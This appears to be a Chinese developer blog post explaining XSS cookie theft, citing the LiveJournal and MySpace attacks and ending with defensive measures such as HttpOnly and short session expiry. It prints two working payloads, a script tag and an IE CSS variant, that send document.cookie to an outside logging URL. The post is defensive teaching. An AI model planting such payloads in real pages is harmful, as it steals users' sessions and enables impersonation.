zoukankan      html  css  js  c++  java
  • XSS攻击之窃取Cookie

    10 年前的博客似乎有点老了,但是XSS 攻击的威胁依然还在,我们不得不防。

    窃取Cookie是非常简单的,因此不要轻易相信客户端所声明的身份。即便这个Cookie是在数秒之前验证过,那也未必是真的,尤其当你仅使用Cookie验证客户端的时候。

    2006 年 1 月,LiveJournal遭到了XSS攻击,这个事件足以警示我们。还有,2006 年 10 月,MySapce也遭到了XSS攻击,这告诉我们必须非常谨慎地过滤用户发布的文本,因为黑客可以在文本中掺杂一些 JavaScript 代码,以此窃取登陆用户的Cookie

    正如黑客攻击LiveJournal那样,你不需要在登陆用户的浏览器进行任何操作,而可以在第三方进行所有操作。更糟糕的是,窃取Cookie事实上操作起来非常简单,但是防范起来却非常困难

    下面的的 JavaScript 代码就可以窃取Cookie,是不是很简单?

    <script>
        new Image().src =
            "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);
    </script>
    

    如果我可以将这段代码插入到某个登陆用户的页面,则Cookie就会通过 HTTP 请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

    在 IE 浏览器上,可以通过在 CSS 代码中执行 JavaScript 来窃取Cookie,也很简单。

    <style>
    .getcookies{
        background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
    }
    </style>
    <p class="getcookies"></p>
    

    如果你对用户发布的文本内容不进行严格的过滤的话,黑客就可以很方便地窃取Cookie。是不是很可怕?如果你是一个负责任的开发者的话,你就应该保持警惕!因此,你必须假设所有用户的Cookie都被窃取了。注意,是所有用户,对于这一点,我不想含糊其辞。

    为了保证安全:请不停地重设session的重设;将过期时间设置短一些;监控referreruserAgent的值;使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失,但是增加了黑客的难度,因此也是有效的。

    如果你对MySapce遭到的XSS攻击不了解,可以查看黑客本人公开的技术细节,很有趣,不过切勿模仿,因为他为自己的行为此付出了不小的代价:三年内被禁止使用电脑!

    参考链接

    关于Fundebug

    Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了10亿+错误事件,付费客户有Google、360、金山软件、百姓网等众多品牌企业。欢迎大家免费试用

    版权声明

    转载时请注明作者Fundebug以及本文地址:
    https://blog.fundebug.com/2017/08/16/xss_steal_cookie/

  • 相关阅读:
    Don‘t Cry for Me, Argentina
    对象池
    拒绝高姿态
    SOS: How to popup a HwndSource on topmost
    关于设计和设计文档的2个补充
    从今天开始写博客
    Kafka+Storm写入Hbase和HDFS
    工作流调度引擎Oozie
    showModalDialog在父窗体和子窗体之间传值
    慢说HttpContext
  • 原文地址:https://www.cnblogs.com/fundebug/p/xss_steal_cookie.html
Copyright © 2011-2022 走看看